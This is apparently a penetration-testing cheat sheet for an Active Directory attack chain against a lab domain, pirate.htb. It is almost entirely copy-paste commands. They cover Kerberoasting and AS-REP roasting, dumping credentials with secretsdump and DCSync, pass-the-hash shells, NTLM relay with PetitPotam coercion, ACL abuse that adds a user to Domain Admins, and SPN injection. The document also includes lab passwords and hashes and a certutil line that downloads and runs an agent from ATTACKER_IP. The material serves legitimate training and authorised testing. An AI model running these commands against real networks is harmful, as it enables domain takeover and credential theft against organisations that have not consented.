AD ^: Active Directory

AD Pentest Tools Workflow

Tooling-oriented AD engagement workflow with copy-paste commands from enumeration to domain takeover.

advanced updated 2026-08-09 NetExec · BloodHound · Impacket · ldapsearch

AD Pentest Tools Workflow

Every tool used in a typical AD chain: what it does, how to use it, and when to reach for it. Example targets use 10.129.202.43 / pirate.htb — swap for yours.

Tool Categories

CategoryTools
Reconnaissancenmap, rustscan, enum4linux-ng, ldapsearch, bloodhound-python
Kerberos abuseimpacket-getTGT, impacket-getST, klist
Credential accessgMSADumper, impacket-secretsdump
Shells & executionevil-winrm, impacket-psexec, impacket-wmiexec, impacket-smbexec
Pivotingligolo-ng, chisel
Relay attacksimpacket-ntlmrelayx, coercer
ACL / AD abusebloodyAD, addspn.py
Swiss army knifeNetExec (nxc)

Kerberos Environment — Configure This First

These affect every Kerberos-based tool. Get them wrong and nothing works.

/etc/hosts — every Kerberos tool resolves hostnames; without entries, DNS fails silently and ticket requests go nowhere:

# Add before touching any target
sudo tee -a /etc/hosts << 'EOF'
10.129.202.43   dc01.pirate.htb pirate.htb DC01
EOF

# Add internal hosts after pivoting
# 192.168.100.2   web01.pirate.htb WEB01

/etc/krb5.conf — Impacket, gMSADumper, and all GSSAPI tools read this to find the KDC:

sudo bash -c 'cat > /etc/krb5.conf << EOF
[libdefaults]
    default_realm = PIRATE.HTB
    dns_lookup_realm = false
    dns_lookup_kdc = false
    forwardable = true
    rdns = false
    default_tgs_enctypes = aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96 rc4-hmac
    default_tkt_enctypes = aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96 rc4-hmac

[realms]
    PIRATE.HTB = {
        kdc = dc01.pirate.htb
        admin_server = dc01.pirate.htb
    }

[domain_realm]
    .pirate.htb = PIRATE.HTB
    pirate.htb = PIRATE.HTB
EOF'
KeyPurpose
default_realmMust be uppercasePIRATE.HTB not pirate.htb
dns_lookup_kdc = falseSpecify the KDC directly; lab DNS is unreliable
rdns = falsePrevents reverse DNS lookups that fail in labs
default_tgs_enctypesAllows RC4-HMAC alongside AES — needed because gMSA hashes are NTLM (RC4)
kdc = dc01.pirate.htbResolved via /etc/hosts — always set hosts first

Clock sync (±5 minute tolerance):

# Check the skew
nmap --script smb2-time -p 445 10.129.202.43

# Sync clock to DC
sudo ntpdate -u 10.129.202.43

# Verify
timedatectl status

Ticket management:

# The most important line in any Kerberos attack
export KRB5CCNAME=/absolute/path/to/username.ccache
# Always use an absolute path. Relative paths break when tools change dir.
# Filenames with $ need escaping: MS01\$.ccache

klist                          # show current tickets + expiry
klist -e                       # show encryption types
kdestroy                       # destroy current ticket
kinit user@PIRATE.HTB          # get new TGT interactively

1. Nmap

Network scanner: discovers hosts, open ports, services, OS, and runs NSE scripts.

# STAGE 1: ping sweep
nmap -sn 10.129.202.0/24 -oN recon/hosts.txt

# STAGE 2: full port scan
nmap -p- --min-rate 5000 -T4 10.129.202.43 -oN recon/ports.txt

# STAGE 3: service + default scripts on discovered ports
nmap -sC -sV -p 53,80,88,139,389,443,445,636,3268,5985 \
     10.129.202.43 -oN recon/services.txt

# STAGE 4: AD-specific scripts
nmap --script smb2-time,smb2-security-mode,ldap-rootdse,\
krb5-enum-users,smb-enum-domains,dns-nsid \
     -p 53,88,389,445 10.129.202.43 -oN recon/ad.txt

# Useful single-liners
nmap --script vuln 10.129.202.43               # vuln scan
nmap -sU -p 161 10.129.202.43                  # UDP / SNMP
nmap --script http-title -p 80,443,8080,8443   # quick web titles

AD-relevant ports —

PortServiceMeaning
88KerberosConfirmed DC — TGT requests, ASREPRoast, Kerberoast
389/636LDAP/LDAPSEnumerate users, groups, ACLs, delegations
445SMBCheck signing status before any relay
5985/5986WinRMShell access with valid creds or hash
3268/3269Global CatalogCross-domain queries

1-ALT. RustScan replaces stages 1–3 in a single command — async port discovery, then hands off to nmap:

# Install RustScan (check the releases page for the current version)
wget https://github.com/RustScan/RustScan/releases/download/2.3.0/rustscan_2.3.0_amd64.deb
sudo dpkg -i rustscan_2.3.0_amd64.deb

# Full scan — discover ports then pipe to nmap for -sC -sV
rustscan -a 10.129.202.43 --ulimit 5000 \
  -- -sC -sV -oN recon/rustscan_detailed.txt

# Still run AD-specific scripts and clock skew scans separately
nmap --script smb2-time,smb2-security-mode,ldap-rootdse,\
krb5-enum-users -p 53,88,389,445 10.129.202.43 -oN recon/ad.txt

--ulimit 5000 limits concurrent connections — too high causes false negatives on unstable VPN links. -- passes everything after it directly to nmap.

2. enum4linux-ng

Wraps SMB/LDAP/RPC enumeration to extract users, groups, shares, password policy, and OS info — no credentials needed on misconfigured systems.

# Full enumeration, JSON + YAML output
enum4linux-ng -A 10.129.202.43 -oA recon/enum4linux

# Specific modules
enum4linux-ng -U 10.129.202.43   # users only
enum4linux-ng -G 10.129.202.43   # groups only
enum4linux-ng -S 10.129.202.43   # shares only
enum4linux-ng -P 10.129.202.43   # password policy

# With credentials
enum4linux-ng -A 10.129.202.43 -u 'a.white' -p 'E2nvAOKSz5Xz2MJu'

Look for: users list (Kerberoast/ASREPRoast targets); password policy (min length, lockout threshold); shares (IPC$, SYSVOL, NETLOGON, custom).

NetExec alternative for anonymous enumeration:

nxc smb 10.129.202.43 -u '' -p '' --shares
nxc smb 10.129.202.43 -u '' -p '' --users
nxc smb 10.129.202.43 -u 'guest' -p '' --shares   # guest session fallback

3. ldapsearch

Direct LDAP queries against AD — the most reliable way to enumerate users, groups, GPOs, service accounts, and delegation configs without a GUI.

# ANONYMOUS BIND (no creds)

# Get the base naming context first
ldapsearch -x -H ldap://10.129.202.43 -b "" -s base namingContexts

# Dump everything (anonymous, if allowed)
ldapsearch -x -H ldap://10.129.202.43 \
  -b "DC=pirate,DC=htb" "(objectClass=*)" > ldap_all.txt

# AUTHENTICATED
ldapsearch -x -H ldap://10.129.202.43 \
  -D "a.white@pirate.htb" -w 'E2nvAOKSz5Xz2MJu' \
  -b "DC=pirate,DC=htb" "(objectClass=user)" \
  sAMAccountName memberOf pwdLastSet

AD-specific queries — copy-paste reference:

# Pre-Win2000 Compatible Access group members
ldapsearch -x -H ldap://10.129.202.43 \
  -b "DC=pirate,DC=htb" \
  "(memberOf=CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=pirate,DC=htb)" \
  sAMAccountName

# All gMSA accounts
ldapsearch -x -H ldap://10.129.202.43 \
  -b "DC=pirate,DC=htb" \
  "(objectClass=msDS-GroupManagedServiceAccount)" \
  sAMAccountName msDS-GroupMSAMembership

# Accounts with Kerberos delegation
ldapsearch -x -H ldap://10.129.202.43 \
  -b "DC=pirate,DC=htb" \
  "(msDS-AllowedToDelegateTo=*)" \
  sAMAccountName msDS-AllowedToDelegateTo

# ASREPRoastable accounts (no pre-auth)
ldapsearch -x -H ldap://10.129.202.43 \
  -b "DC=pirate,DC=htb" \
  "(userAccountControl:1.2.840.113556.1.4.803:=4194304)" \
  sAMAccountName

# Kerberoastable accounts (have SPN)
ldapsearch -x -H ldap://10.129.202.43 \
  -b "DC=pirate,DC=htb" \
  "(&(objectClass=user)(servicePrincipalName=*))" \
  sAMAccountName servicePrincipalName

# Verify SPN location (after addspn.py injection)
ldapsearch -x -H ldap://10.129.202.43 \
  -D "a.white_adm@pirate.htb" -w 'Pwn3d2026!' \
  -b "DC=pirate,DC=htb" "(sAMAccountName=DC01$)" \
  servicePrincipalName

windapsearch alternative — wraps common LDAP queries into simple flags:

# Install
go install github.com/ropnop/go-windapsearch@latest

# Common queries
windapsearch -d pirate.htb --dc dc01.pirate.htb -u 'a.white' -p 'pass' --da         # domain admins
windapsearch -d pirate.htb --dc dc01.pirate.htb -u 'a.white' -p 'pass' --computers   # all computers
windapsearch -d pirate.htb --dc dc01.pirate.htb -u 'a.white' -p 'pass' --gpos        # GPOs
windapsearch -d pirate.htb --dc dc01.pirate.htb -u 'a.white' -p 'pass' --unconstrained-delegation

4. BloodHound + bloodhound-python

Collects AD relationship data and visualises attack paths as a graph — the fastest way to find ACL abuse chains, delegation misconfigs, and shortest paths to Domain Admin.

# Install
pipx install bloodhound

# COLLECTION (run as soon as you have ANY valid creds)

# With username + password
bloodhound-python -d pirate.htb -dc dc01.pirate.htb \
  -u 'a.white' -p 'E2nvAOKSz5Xz2MJu' \
  -c All --zip -ns 10.129.202.43

# With NTLM hash (Pass-the-Hash)
bloodhound-python -d pirate.htb -dc dc01.pirate.htb \
  -u 'gMSA_ADFS_prod$' --hashes :8126756fb2e69697bfcb04816e685839 \
  -c All --zip -ns 10.129.202.43

# With Kerberos ticket
KRB5CCNAME=MS01\$.ccache bloodhound-python \
  -d pirate.htb -dc dc01.pirate.htb \
  -u 'MS01$' --auth-method kerberos \
  -c All --zip -ns 10.129.202.43

Note — Modern BloodHound is BloodHound CE (SpecterOps), which uses Docker Compose / bhce rather than the legacy neo4j + Java GUI. For CE, collect with a matching bloodhound-python -v or SharpHound version and drag the zip into the web UI. The legacy GUI below still works for the old edition.

Starting the legacy BloodHound GUI:

sudo apt install neo4j bloodhound
sudo neo4j start
bloodhound &
# Default creds: neo4j / neo4j -> change on first login

Useful Cypher queries (paste into the raw query bar):

// GenericWrite edges (like a.white -> a.white_adm)
MATCH p=(u)-[r:GenericWrite]->(t) RETURN p

// Who can read gMSA passwords?
MATCH p=(u)-[r:ReadGMSAPassword]->(g) RETURN p

// All delegation paths
MATCH p=(u)-[r:AllowedToDelegate]->(c) RETURN p

// Shortest paths from owned principals to Domain Admin
// (mark owned users first: right-click -> Mark as Owned)

NetExec BloodHound collection:

# Single command — handles collection + zipping
nxc ldap dc01.pirate.htb -u 'a.white' -p 'E2nvAOKSz5Xz2MJu' \
  --bloodhound -c All --dns-server 10.129.202.43

5. Impacket Suite

Python library implementing Windows network protocols — the single most important toolkit for AD pentesting (20+ tools for Kerberos, SMB, LDAP, RPC). On Kali the scripts are prefixed impacket- (e.g. impacket-getTGT); the raw getTGT.py names also work from a source checkout.

5.1 — getTGT (request a Kerberos TGT)

# Standard — with password
impacket-getTGT PIRATE.HTB/username:password -dc-ip 10.129.202.43

# Pre-Win2000 — machine name IS the password
impacket-getTGT 'PIRATE.HTB/MS01$:ms01' -dc-ip 10.129.202.43

# With NTLM hash (Pass-the-Hash for Kerberos)
impacket-getTGT PIRATE.HTB/user -hashes :NTLMhash -dc-ip 10.129.202.43

# Use the ticket
export KRB5CCNAME=$(pwd)/username.ccache
klist   # verify it's valid

5.2 — getST (service ticket / S4U2Proxy / constrained delegation)

# RBCD: machine account impersonates Administrator for CIFS on WEB01
impacket-getST -spn 'cifs/WEB01.pirate.htb' \
  -impersonate 'Administrator' \
  'pirate.htb/URNYIFYY$:MTbIJRrN1El!HLH' \
  -dc-ip 10.129.202.43

# KCD + altservice (SPN injection scenario)
# -altservice rewrites the sname field in the ticket
impacket-getST -spn 'HTTP/WEB01.pirate.htb' \
  -impersonate 'Administrator' \
  'pirate.htb/a.white_adm:Pwn3d2026!' \
  -dc-ip 10.129.202.43 \
  -altservice 'CIFS/DC01.pirate.htb'

export KRB5CCNAME=Administrator@cifs_DC01.pirate.htb@PIRATE.HTB.ccache

5.3 — GetNPUsers (ASREPRoast)

# No creds — find accounts with "Do not require Kerberos preauthentication"
impacket-GetNPUsers PIRATE.HTB/ -dc-ip 10.129.202.43 -no-pass \
  -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt

# Crack with hashcat
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

5.4 — GetUserSPNs (Kerberoast)

# With creds — find SPN accounts and request their TGS tickets
impacket-GetUserSPNs PIRATE.HTB/a.white:E2nvAOKSz5Xz2MJu \
  -dc-ip 10.129.202.43 \
  -request -outputfile kerb_hashes.txt

# Crack
hashcat -m 13100 kerb_hashes.txt /usr/share/wordlists/rockyou.txt

5.5 — psexec / smbexec / wmiexec (remote execution)

# psexec — uploads a service binary, noisiest, gives SYSTEM
impacket-psexec PIRATE.HTB/Administrator:password@10.129.202.43

# With hash
impacket-psexec -hashes :NTLMhash PIRATE.HTB/Administrator@10.129.202.43

# With Kerberos ticket
impacket-psexec -k -no-pass DC01.pirate.htb

# wmiexec — uses WMI, no service install, less noisy, user-level
impacket-wmiexec -k -no-pass DC01.pirate.htb

# smbexec — creates a service but cleans up, middle ground
impacket-smbexec -k -no-pass DC01.pirate.htb
ToolMethodNoiseRuns AsNotes
psexecSMB named pipe + serviceHighSYSTEMLeaves artifacts; most reliable
wmiexecWMI process createLowUser-levelNo service install; semi-interactive
smbexecSMB service create + cleanupMediumSYSTEMCleans up after itself

5.6 — atexec / dcomexec (additional execution methods)

# atexec — uses Task Scheduler (AT); good when other methods are blocked
impacket-atexec PIRATE.HTB/Administrator:password@10.129.202.43 'whoami'

# dcomexec — uses DCOM (MMC20.Application or ShellWindows)
impacket-dcomexec PIRATE.HTB/Administrator:password@10.129.202.43
impacket-dcomexec -object MMC20 PIRATE.HTB/Administrator:password@10.129.202.43

6. secretsdump

Dumps credential stores — SAM, LSA secrets, NTDS.dit, cached domain logons, DPAPI secrets.

# REMOTE DUMP (most common)

# With password
impacket-secretsdump PIRATE.HTB/Administrator:password@10.129.202.43

# With hash
impacket-secretsdump -hashes :NTLMhash PIRATE.HTB/Administrator@10.129.202.43

# With Kerberos ticket
impacket-secretsdump -k -no-pass WEB01.pirate.htb -outputfile web01_dump

# SAM + LSA only (skip NTDS, faster on member servers)
impacket-secretsdump -sam -lsa PIRATE.HTB/Administrator:password@10.129.202.43
# DC DUMP (DCSync — all hashes without NTDS.dit access)
# Requires: replication rights (DA or delegated)
impacket-secretsdump -just-dc PIRATE.HTB/Administrator:password@dc01.pirate.htb

# Just one user's hash
impacket-secretsdump -just-dc-user krbtgt PIRATE.HTB/Administrator:password@dc01.pirate.htb

# -outputfile creates: web01_dump.sam, web01_dump.secrets, web01_dump.ntds
impacket-secretsdump ... -outputfile web01_dump
Output SectionFormatUse Case
LSA SecretsPlaintext service-account passwordsRecover cleartext creds
SAM hashesAdministrator:500:LM:NTLM:::Use the NTLM part (not LM) for PTH
NTDSEvery domain account hashFull domain compromise — PTH across all accounts
Cached domain logonsDCC2 hashesCrack offline with hashcat -m 2100

NetExec alternatives for credential dumping:

nxc smb dc01.pirate.htb -u Administrator -H :NTLMhash --sam    # SAM hashes
nxc smb dc01.pirate.htb -u Administrator -H :NTLMhash --lsa    # LSA secrets
nxc smb dc01.pirate.htb -u Administrator -H :NTLMhash --ntds   # DCSync via NTDS

7. Evil-WinRM

PowerShell remote shell over WinRM (5985/5986). Supports Pass-the-Hash, Kerberos, file upload/download, in-memory script loading.

# CONNECT

# With password
evil-winrm -i dc01.pirate.htb -u 'a.white' -p 'E2nvAOKSz5Xz2MJu'

# Pass-the-Hash
evil-winrm -i dc01.pirate.htb -u 'gMSA_ADFS_prod$' \
  -H '8126756fb2e69697bfcb04816e685839'

# With Kerberos (set KRB5CCNAME first)
evil-winrm -i dc01.pirate.htb -r PIRATE.HTB

File transfer (inside the Evil-WinRM prompt):

upload /local/path/agent.exe C:\Users\Public\agent.exe
download C:\Users\Administrator\Desktop\root.txt
# Load a PowerShell script in-memory (no disk touch): start evil-winrm with -s /path/to/scripts/

Situational awareness — run on every new machine:

whoami /all                          # privs + groups
net localgroup administrators        # who is local admin?
Get-ADUser -Filter * -Properties *   # all AD users
Get-ADGroupMember "Domain Admins"    # DA members
(Get-ADComputer -Filter *).Name      # all computers
ipconfig /all                        # NICs, subnets, DNS

Tip — fix broken evil-winrm. After Kali updates, evil-winrm often breaks with rubyzip errors: sudo gem install evil-winrm.

8. NetExec (nxc)

The modern successor to CrackMapExec. Single tool for password spraying, credential validation, enumeration, and modules across SMB, WinRM, LDAP, MSSQL, SSH, RDP.

# CREDENTIAL VALIDATION
nxc smb 10.129.202.43 -u 'a.white' -p 'E2nvAOKSz5Xz2MJu'
# Output: [+] = valid, [-] = invalid, Pwn3d! = local admin
nxc winrm dc01.pirate.htb -u 'a.white' -p 'E2nvAOKSz5Xz2MJu'
nxc smb 10.129.202.43 -u Administrator -H :NTLMhash    # Pass-the-Hash
# SPRAYING (watch lockout threshold!)
nxc smb 10.129.202.43 -u users.txt -p 'Winter2024!' --continue-on-success
# ENUMERATION
nxc smb 10.129.202.43 -u 'a.white' -p 'pass' --shares
nxc smb 10.129.202.43 -u 'a.white' -p 'pass' --loggedon-users
nxc ldap dc01.pirate.htb -u 'a.white' -p 'pass' --bloodhound -c All
nxc ldap dc01.pirate.htb -u 'MS01$' -p 'ms01' --gmsa
# EXECUTION
nxc smb 10.129.202.43 -u Admin -p pass -x "whoami"        # cmd
nxc smb 10.129.202.43 -u Admin -p pass -X "Get-Process"   # PowerShell

Warning — password-spraying safety. Always check the lockout policy first (enum4linux-ng -P or nxc smb --pass-pol). One spray per lockout window. Locking out accounts is the fastest way to get caught.

9. gMSADumper

Reads msDS-ManagedPassword from LDAP to extract gMSA NTLM hashes. Only works if your account has read access to that attribute (msDS-GroupMSAMembership).

git clone https://github.com/micahvandeusen/gMSADumper && cd gMSADumper
pip install gssapi

# With username + password
python3 gMSADumper.py -u 'MS01$' -p 'ms01' -d pirate.htb -l dc01.pirate.htb

# With Kerberos ticket
KRB5CCNAME=/absolute/path/MS01\$.ccache \
python3 gMSADumper.py -d pirate.htb -l dc01.pirate.htb -k

# Alternative — NetExec is often more reliable
nxc ldap dc01.pirate.htb -u 'MS01$' -p 'ms01' --gmsa

Output format:

gMSA_ADFS_prod$:::8126756fb2e69697bfcb04816e685839        <- NTLM hash -> PTH
gMSA_ADFS_prod$:aes256-cts-hmac-sha1-96:4b663e09...       <- AES key -> Kerberos

If empty, check PrincipalsAllowedToRetrieveManagedPassword on the gMSA object — your account must be in that group or its membership chain.

10. Ligolo-ng

Creates a transparent Layer-3 VPN tunnel through a compromised host using a kernel tun interface. Unlike proxychains (SOCKS), every tool works natively — no prefix.

# SETUP (one-time)
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-ng_proxy_linux_amd64.tar.gz
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-ng_agent_windows_amd64.zip

# Create tun interface
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
# EVERY TIME
# Terminal 1: start proxy (attacker)
./proxy -selfcert -laddr 0.0.0.0:443

# Target (via shell): download and run agent
certutil.exe -urlcache -f http://ATTACKER_IP:8080/agent.exe agent.exe
.\agent.exe -connect ATTACKER_IP:443 -ignore-cert

# Terminal 1 (proxy console): activate
# ligolo-ng » session
# [Agent: ...] » start

# Add route to internal subnet
sudo ip route add 192.168.100.0/24 dev ligolo
sudo ip route add 172.16.50.0/24 dev ligolo   # multiple subnets
# LISTENER: forward port 4444 on the pivot to your 4444 (reverse shells from WEB01)
# [Agent: ...] » listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444

Chisel alternative (SOCKS proxy fallback) — tradeoff is you must prefix commands with proxychains:

# Attacker: start chisel server
chisel server -p 8000 --reverse

# Pivot (Evil-WinRM): run chisel client
.\chisel.exe client 10.10.14.42:8000 R:socks

# Attacker: use proxychains for internal-subnet targets
proxychains nmap -sC -sV 192.168.100.2
proxychains evil-winrm -i 192.168.100.2 -u admin -p pass

11. ntlmrelayx

Relays NTLM authentication to other services — when a machine is forced to authenticate to your listener, you forward that credential to a target service.

# COMMON RELAY TARGETS

# Relay to LDAPS + RBCD
impacket-ntlmrelayx -t ldaps://10.129.202.43 \
  --delegate-access --remove-mic -smb2support

# Relay to SMB — dump SAM (target must have signing disabled)
impacket-ntlmrelayx -t smb://192.168.100.2 -smb2support

# Relay to LDAPS — create a new computer account
impacket-ntlmrelayx -t ldaps://10.129.202.43 --add-computer HACKED$

# Relay to MSSQL
impacket-ntlmrelayx -t mssql://192.168.100.5 -smb2support

# Relay to multiple targets
impacket-ntlmrelayx -tf targets.txt -smb2support
FlagPurpose
--delegate-accessAdd RBCD rights to newly created machine account
--remove-micBypass MIC (needed for cross-protocol relay, e.g. NTLM -> LDAPS)
--no-dumpSkip SAM dump (quieter)
-smb2supportEnable SMB2 (required for modern Windows)
-6Listen on IPv6 too

Before a relay, always check: is SMB signing disabled on the victim (nmap --script smb2-security-mode)? Is LDAP signing enforced on target (LDAPS on 636 often bypasses this)? Are victim and target different machines?

12. Coercer

Forces a Windows machine to authenticate to an attacker server via RPC protocols (MS-EFSR, MS-FSRVP, MS-DFSNM, etc). The “push” that makes NTLM relay work.

pipx install coercer

# SCAN MODE: check which protocols are available
coercer scan -t 192.168.100.2 -d pirate.htb \
  -u 'gMSA_ADFS_prod$' --hashes :8126756fb2e69697bfcb04816e685839

# COERCE MODE: force authentication
coercer coerce \
  -l 10.10.14.42 \
  -t 192.168.100.2 \
  -d pirate.htb \
  -u 'gMSA_ADFS_prod$' \
  --hashes :8126756fb2e69697bfcb04816e685839 \
  --always-continue
# SPECIFIC PROTOCOLS
# Only MS-EFSR (PetitPotam — most reliable)
coercer coerce -l 10.10.14.42 -t 192.168.100.2 \
  -d pirate.htb -u user -p pass \
  --filter-method-name EfsRpcEncryptFileSrv

# PetitPotam directly (original PoC)
python3 PetitPotam.py -u 'user' -p 'pass' -d pirate.htb \
  10.10.14.42 192.168.100.2

Important — start the relay before coercion. ntlmrelayx must be listening before you run coercer. Authentication arriving with no relay listener is lost.

13. bloodyAD

Swiss army knife for AD object manipulation — modify attributes, ACLs, passwords, group memberships directly via LDAP.

pipx install bloodyAD

# PASSWORD OPERATIONS
# Reset another user's password (requires GenericWrite/ForceChangePassword)
bloodyAD -d pirate.htb -u 'a.white' -p 'E2nvAOKSz5Xz2MJu' \
  --host 10.129.202.43 set password a.white_adm 'Pwn3d2026!'

# GROUP MEMBERSHIP
bloodyAD -d pirate.htb -u 'a.white' -p 'pass' \
  --host dc01.pirate.htb add groupMember "Domain Admins" a.white
bloodyAD -d pirate.htb -u 'a.white' -p 'pass' \
  --host dc01.pirate.htb remove groupMember "Group" username

# ATTRIBUTE MANIPULATION
# Set RBCD (msDS-AllowedToActOnBehalfOfOtherIdentity)
bloodyAD -d pirate.htb -u 'a.white' -p 'pass' \
  --host dc01.pirate.htb add rbcd WEB01$ HACKER$

# Disable pre-auth (make account ASREPRoastable)
bloodyAD -d pirate.htb -u 'a.white' -p 'pass' \
  --host dc01.pirate.htb add uac target.user -f DONT_REQ_PREAUTH
# READ OPERATIONS — check what you can write to
bloodyAD -d pirate.htb -u 'a.white' -p 'pass' \
  --host dc01.pirate.htb get writable

rpcclient fallback for password reset:

rpcclient -U 'pirate.htb/a.white%E2nvAOKSz5Xz2MJu' 10.129.202.43 \
  -c 'setuserinfo2 a.white_adm 23 Pwn3d2026!'

14. addspn.py (krbrelayx)

Adds, removes, or lists SPNs on AD objects. Part of the krbrelayx toolkit — key for SPN injection (moving an SPN from one computer to another to redirect Kerberos delegation).

git clone https://github.com/dirkjanm/krbrelayx && cd krbrelayx

# LIST SPNs on an account
python3 addspn.py \
  -u 'pirate.htb\a.white_adm' -p 'Pwn3d2026!' \
  -t 'DC01$' --list 10.129.202.43

# ADD an SPN
python3 addspn.py \
  -u 'pirate.htb\a.white_adm' -p 'Pwn3d2026!' \
  -t 'DC01$' \
  -s 'HTTP/WEB01.pirate.htb' \
  10.129.202.43

# REMOVE an SPN (-r flag)
python3 addspn.py \
  -u 'pirate.htb\a.white_adm' -p 'Pwn3d2026!' \
  -t 'WEB01$' \
  -s 'HTTP/WEB01.pirate.htb' \
  -r 10.129.202.43

# VERIFY (with ldapsearch)
ldapsearch -x -H ldap://10.129.202.43 \
  -D 'a.white_adm@pirate.htb' -w 'Pwn3d2026!' \
  -b "DC=pirate,DC=htb" "(sAMAccountName=DC01$)" servicePrincipalName

Why SPN injection matters: constrained delegation resolves the target by which computer has the SPN registered. Move HTTP/WEB01 from WEB01$ to DC01$ and the KDC issues delegation tickets for DC01 — even though the delegation config on a.white_adm hasn’t changed.

Auth Methods Across Tools — Quick Reference

ToolPasswordNTLM HashKerberos Ticket
impacket-getTGT-p pass-hashes :NTLMN/A (produces tickets)
impacket-getST:pass-hashes :NTLM-k -no-pass + KRB5CCNAME
impacket-secretsdump:pass-hashes :NTLM-k -no-pass
impacket-psexec:pass-hashes :NTLM-k -no-pass
evil-winrm-p pass-H NTLM-r REALM + KRB5CCNAME
nxc-p pass-H :NTLM-k + KRB5CCNAME
bloodhound-python-p pass--hashes :NTLM--auth-method kerberos
bloodyAD-p pass-p :NTLM (or --hashes)-k
coercer-p pass--hashes :NTLM-k

Troubleshooting Reference

ErrorCauseFix
KRB_AP_ERR_SKEWClock skew > 5 minsudo ntpdate -u DC_IP
KDC not foundBad krb5.confCheck /etc/krb5.conf realm + KDC IP
KDC_ERR_PREAUTH_FAILEDWrong passwordDouble-check creds; try hash
Errno 111 Connection refusedWinRM not runningCheck port 5985; try 5986
STATUS_ACCESS_DENIED (SMB)Creds work but no adminUser isn’t local admin on that host
NT_STATUS_LOGON_FAILUREBad hash/passVerify NTLM hash is the NT part (not LM)
gMSADumper returns emptyWrong accountCheck PrincipalsAllowedToRetrieveManagedPassword
rubyzip error in evil-winrmBroken gemsudo gem install evil-winrm
ntlmrelayx relay failsSMB signing enabledRelay to LDAPS (:636) instead
Server not found in Kerberos databaseMissing /etc/hosts or bad krb5.confAdd hostname to /etc/hosts; verify [domain_realm]

References